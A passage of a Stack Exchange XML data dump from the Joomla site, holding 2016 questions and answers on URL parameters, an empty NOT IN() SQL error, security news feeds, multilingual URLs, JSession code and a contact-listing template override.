  <row Id="15293" PostTypeId="1" CreationDate="2016-02-15T19:39:04.480" Score="-2" ViewCount="84" Body="&lt;p&gt;Currently, on the blog page: &lt;a href=&quot;http://www.sagu.edu/news/page-14?ref=nf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sagu.edu/news/page-14?ref=nf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page number links contain the text &quot;?ref=nf&quot; appended to it.  I have no idea how its being generated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when viewing the cannoical link /news/page-14, the &quot;?ref=&quot;nf&quot; is removed on the page links.&lt;a href=&quot;https://i.stack.imgur.com/H9dEh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9dEh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7200" LastEditorUserId="7200" LastEditDate="2016-02-17T13:19:10.100" LastActivityDate="2016-02-17T13:19:10.100" Title="Adding ?ref=nf to all links on existing page" Tags="|facebook|category-blog|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15294" PostTypeId="1" CreationDate="2016-02-15T21:58:18.340" Score="1" ViewCount="328" Body="&lt;p&gt;I have recently restored my joomla website and it was working perfectly fine, but suddenly I am receiving the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') ORDER BY `registerDate` DESC LIMIT 20' at line 1&lt;br&gt; SQL=&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `jnx_users` WHERE `block`='0' AND `id` NOT IN() ORDER BY `registerDate` DESC LIMIT 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;An error has occurred while processing your request.&lt;/p&gt;&#xA;&lt;p&gt;You may not be able to visit this page because of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;an out-of-date bookmark/favourite&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;a mistyped address&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;a search engine that has an out-of-date listing for this site&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;you have no access to this page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Go to the Home Page&lt;/p&gt;&#xA;&lt;p&gt;Home Page&lt;/p&gt;&#xA;&lt;p&gt;If difficulties persist, please contact the System Administrator of this site and report the error below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-05-16T09:33:10.477" Title="getting some sql error" Tags="|joomla-3.x|php|mysql|sql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15295" PostTypeId="1" AcceptedAnswerId="15296" CreationDate="2016-02-15T23:21:11.523" Score="3" ViewCount="143" Body="&lt;p&gt;Is there a mailing list somewhere specifically for this? None of the &lt;a href=&quot;https://www.joomla.org/mailing-lists.html&quot; rel=&quot;nofollow&quot;&gt;mailing lists on the official Joomla site&lt;/a&gt; seem to mention that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I just have one Joomla site to look after, so I'm only interested in particularly important emails such as security issues, and don't want to have to manually filter those out from others that aren't of interest.&lt;/p&gt;&#xA;" OwnerUserId="7455" LastEditorUserId="3650" LastEditDate="2016-11-13T11:21:44.217" LastActivityDate="2016-11-13T11:21:44.217" Title="What do I need to do to be notified of any urgent security issues with Joomla?" Tags="|joomla-3.x|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15296" PostTypeId="2" ParentId="15295" CreationDate="2016-02-16T00:21:29.487" Score="5" Body="&lt;p&gt;Joomla has a section of the developer site called the &quot;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot; rel=&quot;nofollow&quot;&gt;Security Centre&lt;/a&gt;&quot; which sends out emails about security issues. There is also a mailing list for the same content. There doesn't seem to be a link to it any more but you can subscribe at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews&quot; rel=&quot;nofollow&quot;&gt;http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a feature in development/about to be released &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5645-joomla-3-5-beta-2-released-2.html&quot; rel=&quot;nofollow&quot;&gt;in 3.5 that will notify Joomla administrators&lt;/a&gt; of updates to the Joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming you keep uptodate then the 3.5 release should help.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2016-02-16T11:02:37.903" LastActivityDate="2016-02-16T11:02:37.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15297" PostTypeId="2" ParentId="15293" CreationDate="2016-02-16T00:29:59.233" Score="1" Body="&lt;p&gt;Ummm... no they don't, have you eliminated your browser as the possibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say, if you normally use Google Chrome try Safari, Firefox or something from Microsoft…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MWSmd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MWSmd.png&quot; alt=&quot;Screenshot of site&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-02-16T00:29:59.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15298" PostTypeId="2" ParentId="15294" CreationDate="2016-02-16T00:52:24.813" Score="1" Body="&lt;p&gt;The problem you are having is due to the id NOT IN() filter in your query. You can't use NOT IN() without an array being passed inside it, even if it is an empty array. Change your query to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM jnx_users WHERE block='0' AND id NOT IN('') ORDER BY registerDate DESC LIMIT 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the 2 single quotations inside the NOT IN('') portion of the statement. That fixes this issue. You can also remove the id NOT IN() AND portion of the query if you are not going to filter any ids with it.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-16T00:52:24.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15299" PostTypeId="2" ParentId="15215" CreationDate="2016-02-16T01:12:55.023" Score="1" Body="&lt;p&gt;If I remember correctly there should be 2 things to check when using CB for your registration.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;verify that the allow registration setting in CB is set to disregard the COM_USERS setting. This allows users to register and the COM_USERS methods to fire even if Joomla user registration is turned off.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;look at the users plugin and verify that the setting to not send registration emails is not turned on. This will disable user emails going out if it is not configured correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="126" LastEditDate="2016-02-16T06:41:26.783" LastActivityDate="2016-02-16T06:41:26.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15300" PostTypeId="2" ParentId="15294" CreationDate="2016-02-16T05:49:12.000" Score="2" Body="&lt;p&gt;While using IN() or NOT IN() clause comma (,) separated values or empty string must be passed as parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;IN(1,2,3) OR IN('') OR IN('a', 'b', 'c')  &lt;/p&gt;&#xA;" OwnerUserId="7787" LastActivityDate="2016-02-16T05:49:12.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15301" PostTypeId="1" CreationDate="2016-02-16T09:07:54.457" Score="6" ViewCount="3061" Body="&lt;p&gt;I'm having a slight issue with a multi language site. I am using FaLang to handle translations of 4 languages (&lt;em&gt;English, Spanish, French and Italian&lt;/em&gt;) on a 3.3.6 Joomla installation with &lt;em&gt;English&lt;/em&gt; set as the &lt;strong&gt;default&lt;/strong&gt; site language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enabled the &lt;em&gt;&quot;Remove URL Language Code&quot;&lt;/em&gt; in the language filter. When viewing the site in &lt;strong&gt;English&lt;/strong&gt; my url's look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/company/contact.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the language switcher shows the other languages like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/es/company/contact.html&#xA;www.example.com/fr/company/contact.html&#xA;www.example.com/it/company/contact.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is that if I change the language to either of the other 3, my English URL's looks like this in the language switcher:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/en/company/contact.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When clicking on the link one is redirected with a 303 from &lt;code&gt;.../en/...&lt;/code&gt; to &lt;code&gt;.../...&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know that is the intent of Joomla, but I'd like to remove the &lt;code&gt;/en/&lt;/code&gt; from my English URL's, so that when showing my website in any of the languages my English URL's look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/company/contact.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using FaLang's language switcher but also experience this &quot;issue&quot; with Joomla's own language switcher / translation system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use any SEF components and haven't found any which could solve this, I believe I have to change something in the core routing of Joomla but alas I don't know where or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess as per request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^en/(.*)$ http://www.example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2179" LastEditorUserId="2179" LastEditDate="2016-02-19T08:36:24.387" LastActivityDate="2021-02-24T09:58:25.153" Title="Remove language code from url" Tags="|joomla-3.x|language|falang|" AnswerCount="3" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="15302" PostTypeId="1" AcceptedAnswerId="15327" CreationDate="2016-02-16T14:06:56.633" Score="6" ViewCount="1692" Body="&lt;p&gt;I need to create a simple landing page that is displaying dynamic portfolio items and some simple data which are taken from database + a contact form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Joomla CMS is somewhat overkill for that purpose, as I don't need complex user management, ACL and other Joomla CMS features. So then I'm start to think that maybe I can use Joomla Framework for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to google it but not really found a good tutorial about how to create single web application using Joomla Framework, especially for dummies like me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest me a good tutorial for that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="9471" LastEditDate="2019-04-04T13:23:31.630" LastActivityDate="2019-04-04T13:23:31.630" Title="Is there any &quot;How to build simple web app with Joomla Framework for dummies&quot; tutorial?" Tags="|joomla-framework-1.x|joomla-framework|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15303" PostTypeId="2" ParentId="15295" CreationDate="2016-02-16T14:24:27.463" Score="3" Body="&lt;p&gt;By being RSS die-hard fan for 15+ years, I have collected few security feeds I use daily in my Outlook:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Security RSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Security Announcements / Original Joomla.org Security Centre (superseded by JDN)&lt;br&gt;&#xA;&lt;a href=&quot;http://feeds.joomla.org/JoomlaSecurityNews?format=xml&quot;&gt;http://feeds.joomla.org/JoomlaSecurityNews?format=xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Security Centre JDN / Joomla Developer Network Security Centre&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.joomla.org/security-centre.feed?type=rss&quot;&gt;https://developer.joomla.org/security-centre.feed?type=rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla VEL Blog / Joomla Vulnerable Extensions Blog&lt;br&gt;&#xA;&lt;a href=&quot;http://vel.joomla.org/articles?format=feed&amp;amp;type=rss&quot;&gt;http://vel.joomla.org/articles?format=feed&amp;amp;type=rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla VEL Live / Live VEL&lt;br&gt;&#xA;&lt;a href=&quot;http://vel.joomla.org/live-vel?format=feed&amp;amp;type=rss&quot;&gt;http://vel.joomla.org/live-vel?format=feed&amp;amp;type=rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla VEL Resolved / Resolved VEL&lt;br&gt;&#xA;&lt;a href=&quot;http://vel.joomla.org/resolved?format=feed&amp;amp;type=rss&quot;&gt;http://vel.joomla.org/resolved?format=feed&amp;amp;type=rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla EOL SecFix / Security hotfixes for Joomla EOL versions - Revision history&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/index.php?title=Security_hotfixes_for_Joomla_EOL_versions&amp;amp;feed=atom&amp;amp;action=history&quot;&gt;https://docs.joomla.org/index.php?title=Security_hotfixes_for_Joomla_EOL_versions&amp;amp;feed=atom&amp;amp;action=history&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General Security RSS&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sucuri Blog / Sucuri Blog&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.sucuri.net/feed&quot;&gt;http://blog.sucuri.net/feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Symantec Security / Symantec Connect Security Response - Blog Entries&lt;br&gt;&#xA;&lt;a href=&quot;http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all&quot;&gt;http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malwarebytes Unpacked / Malwarebytes Unpacked Blog&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.malwarebytes.org/feed/&quot;&gt;http://blog.malwarebytes.org/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AppCheck-NG Alerts / AppCheck-NG » Advisories &amp;amp; Alerts&lt;br&gt;&#xA;&lt;a href=&quot;http://appcheck-ng.com/category/category-3/feed/&quot;&gt;http://appcheck-ng.com/category/category-3/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computer Security News / Topix Computer Security News&lt;br&gt;&#xA;&lt;a href=&quot;http://www.topix.com/rss/tech/computer-security&quot;&gt;http://www.topix.com/rss/tech/computer-security&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detectify / Detectify Blog&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.detectify.com/rss&quot;&gt;http://blog.detectify.com/rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESET Blog / We Live Security » Languages » English&lt;br&gt;&#xA;&lt;a href=&quot;http://feeds.feedburner.com/eset/blog?format=xml&quot;&gt;http://feeds.feedburner.com/eset/blog?format=xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fox-IT Intl Blog / Fox-IT International blog&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.fox-it.com/feed/&quot;&gt;http://blog.fox-it.com/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacker News / The Hacker News&lt;br&gt;&#xA;&lt;a href=&quot;http://feeds.feedburner.com/theHackerNews_com?format=xml&quot;&gt;http://feeds.feedburner.com/theHackerNews_com?format=xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HackRead News / HackRead&lt;br&gt;&#xA;&lt;a href=&quot;http://hackread.com/feed/&quot;&gt;http://hackread.com/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOTforSecurity / HOTforSecurity Blog&lt;br&gt;&#xA;&lt;a href=&quot;http://feeds.feedburner.com/HOTforSecurity&quot;&gt;http://feeds.feedburner.com/HOTforSecurity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Twitter List SECURITY&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appcheck NG @AppcheckNG&lt;br&gt;&#xA;Bradley Deacon @BradleyWDeacon&lt;br&gt;&#xA;CrowdShield @crowdshield&lt;br&gt;&#xA;Detectify @detectify&lt;br&gt;&#xA;Dr. Angela Orebaugh @AngelaOrebaugh&lt;br&gt;&#xA;ESET @ESET&lt;br&gt;&#xA;HackRead @HackRead&lt;br&gt;&#xA;Joomlavel @JoomlaVel&lt;br&gt;&#xA;JP Vergne @PirateOrg&lt;br&gt;&#xA;Malwarebytes @Malwarebytes&lt;br&gt;&#xA;Martin Brinkmann @ghacks&lt;br&gt;&#xA;SpiderLabs @SpiderLabs&lt;br&gt;&#xA;Sucuri @sucurisecurity&lt;br&gt;&#xA;The Hacker News @TheHackersNews   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you will find this information useful... :-)&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-16T14:47:07.960" LastActivityDate="2016-02-16T14:47:07.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15304" PostTypeId="1" AcceptedAnswerId="15310" CreationDate="2016-02-16T15:06:57.027" Score="4" ViewCount="1756" Body="&lt;p&gt;I am writing a theme for our team website and am currently using the categor&lt;strong&gt;y&lt;/strong&gt; listing from &lt;code&gt;com_contact&lt;/code&gt; to display a list of our team members. All members are in a single category called &quot;Teammembers&quot;. We have an organizational structure, therefore I used the sorting fields on the contacts to sort them by organizational layers, as seen below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oUlRm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oUlRm.png&quot; alt=&quot;Teammembers sorted by organizational layer but in single category&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to take this a step further, showing the titles of the organizational layers, which led me to the conclusion that I'm better off using a categor&lt;strong&gt;ies&lt;/strong&gt; listing instead, splitting the members into separate subcategories, and showing the contents (i.e. contact items) inside of the subcategories in the top view below their respective subcategory titles (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8jA48.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8jA48.png&quot; alt=&quot;Teammembers split into subcategories showing in categories view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to render the items contained inside of all subcategories in a parent category? As far as I can tell I can only render out the subcategory (titles) themselves and not their children?&lt;/p&gt;&#xA;" OwnerUserId="7800" LastEditorUserId="7800" LastEditDate="2016-02-16T15:23:15.863" LastActivityDate="2017-10-01T10:48:13.117" Title="Is there a way to display category items in categories listing" Tags="|subcategories|contact|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15305" PostTypeId="1" CreationDate="2016-02-16T18:49:32.833" Score="1" ViewCount="69" Body="&lt;p&gt;Evening all,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having issues setting up a landing page for Austrian website visitors to a .com website with multiple languages installed (one of which is already german using a /de url)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the language pack installed for German, I have setup a de and at content language and setup a default de and at menu item. When i navigate to the .com/at url it always keeps the current language url then adds the at such as .com/fr/at or .com/de/at instead of .com/at and then gives me an obvious 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! 3.4.8 and the core language manager and menu manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="7803" LastEditorUserId="3650" LastEditDate="2016-11-17T18:50:07.617" LastActivityDate="2016-11-17T18:50:07.617" Title="Austrian landing pages aren't working as expected" Tags="|joomla-3.x|joomla-3.4|language|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15306" PostTypeId="2" ParentId="15302" CreationDate="2016-02-17T01:17:02.640" Score="5" Body="&lt;p&gt;There isn't a lot of documentation on this, however each individual framework package has it's own &quot;Getting Started&quot; section so you can see how it's used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla-framework&quot;&gt;https://github.com/joomla-framework&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only documentation Wiki I could find were the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Framework:Getting_Started&quot;&gt;https://docs.joomla.org/Framework:Getting_Started&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Framework:Creating_a_Stand-alone_Application&quot;&gt;https://docs.joomla.org/Framework:Creating_a_Stand-alone_Application&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a Sample Application on Github created by David Hurley, however the last commit was in November 2014:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dbhurley/framework-app&quot;&gt;https://github.com/dbhurley/framework-app&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been some fairly big changes in the framework, so I'm not sure if this should be used as an actual sample.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-02-17T01:17:02.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15307" PostTypeId="2" ParentId="15289" CreationDate="2016-02-17T01:25:50.247" Score="7" Body="&lt;p&gt;In my opinion, it can depend on the complexity of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a client wanted a &lt;strong&gt;fairly basic&lt;/strong&gt; site with a custom design, I'd duplicate Protostar (default Joomla 3.x template). Then strip out all the bits I didn't require, such as parameters etc, and then go on to the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the client required a fairly &lt;strong&gt;complex site&lt;/strong&gt;, with a fair amount of module positions available, fully responsive on all devices, I'd normally use &lt;a href=&quot;http://yootheme.com/themes/downloads&quot; rel=&quot;noreferrer&quot;&gt;Yootheme's Master 2 Theme&lt;/a&gt; which is free, as it provides a much better foundation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other template providers that provide free templates (such as Rockettheme), but a lot of the time, it can come down to personal preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from scratch will result in more or less 5 times the amount of work (depending on experience), so I'd definitely suggest using a pre-existing template to built on top of&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-02-17T11:46:37.177" LastActivityDate="2016-02-17T11:46:37.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15308" PostTypeId="1" AcceptedAnswerId="15314" CreationDate="2016-02-17T07:33:12.527" Score="0" ViewCount="65" Body="&lt;p&gt;I'm new to Joomla CMS and i've kinda run into an issue that is delaying me to launch my website. I have unassigned the menu module to only appear on the main navigation menu. I've selected &quot;only on the selected pages&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, i'm trying to make the main navigation menu to not appear in the top-nav links. &#xA;I'm using a gantry 5 powered theme. Please find the URL here:-  &lt;a href=&quot;http://marketplace.dateahome.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://marketplace.dateahome.co.uk&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly assist me on this,&#xA;thank you.&lt;/p&gt;&#xA;" OwnerUserId="7804" LastActivityDate="2016-02-17T15:20:47.920" Title="Make the menu module to not appear in top nav links" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15309" PostTypeId="2" ParentId="14275" CreationDate="2016-02-17T09:48:18.020" Score="2" Body="&lt;p&gt;It would be better to post code than link to an external reference. I tried to reply to XWS's post but its hard to add formatted code there, hence my own post.&#xA;So to use JSession to set a variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = 'bar';&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('path.to.my.variable', $foo);&#xA;&#xA;// Retrieve the stored value (could be a different file on a different page request)&#xA;$foo = $session-&amp;gt;get('path.to.my.variable');&#xA;echo $foo; // outputs 'bar'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that by using a dotted name path, you are actually creating a nested array in PHP's global $_SESSION. This comes in handy when you want to set an array as a session variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = array('foo' =&amp;gt; 'bar', 'foofoo' =&amp;gt; array('me' =&amp;gt; 'you'));&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('path.to.my.variable', $foo);&#xA;&#xA;echo $session-&amp;gt;get('path.to.my.variable.foo'); // outputs 'bar'&#xA;echo $session-&amp;gt;get('path.to.my.variable.foofoo.me'); // outputs 'you'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above examples uses the default session namespace, you can alternatively use your own namespace, in the example below I'm using 'myNameSpace' as the namespace name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = 'bar';&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('path.to.my.variable', $foo, 'myNameSpace');&#xA;&#xA;// Retrieve&#xA;$foo = $session-&amp;gt;get('path.to.my.variable', 'default', 'myNameSpace');&#xA;echo $foo; // outputs 'bar'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally moomoochoo suggested using memcache as an altenative. I've not seen any issues with JSession, but be aware that the JSession class wraps several different storage options, the default is to store to the mySQL database, but you also have apc, memcache, wincache, and xcache drivers available. So if you did have something like memcache installed this could be selected as a JSession storage option in Joomla's global config page, system tab 'session handler' dropdown option.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2016-02-17T09:48:18.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15310" PostTypeId="2" ParentId="15304" CreationDate="2016-02-17T11:11:04.660" Score="4" Body="&lt;p&gt;I finally solved it myself. I modified my &lt;code&gt;com_contact&lt;/code&gt; &lt;code&gt;category&lt;/code&gt; &lt;code&gt;default_children&lt;/code&gt; template to load another template part (called it &lt;code&gt;catitems&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($child-&amp;gt;numitems &amp;gt; 0 ) :&#xA;    $this-&amp;gt;children[$child-&amp;gt;id] = $child-&amp;gt;getChildren();&#xA;    $this-&amp;gt;category = $child;&#xA;    $this-&amp;gt;maxLevel--;&#xA;    echo $this-&amp;gt;loadTemplate('catitems');&#xA;    $this-&amp;gt;category = $child-&amp;gt;getParent();&#xA;    $this-&amp;gt;maxLevel++;&#xA;endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;default_catitems&lt;/code&gt; I included a database query to the &lt;code&gt;contact_details&lt;/code&gt; table to gather all contacts with the current category's ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory&#xA;::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name', 'alias', 'con_position', 'email_to', 'telephone', 'fax', 'image', 'published', 'access', 'id')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__contact_details'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('catid') . ' = '. $db-&amp;gt;quote($cat_id));&#xA;$query-&amp;gt;order('sortname2 ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorting is done by &lt;code&gt;sortname2&lt;/code&gt; which contains the contact names with last name first. Pretty ugly to have that hardcoded here, but I'll fix that later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I iterate over &lt;code&gt;$results&lt;/code&gt; to generate my contact list in the subcategory, which is basically a clone of the &lt;code&gt;default_items&lt;/code&gt; template with minor modifications. Depending on the contents of the contact list, one might have to generate 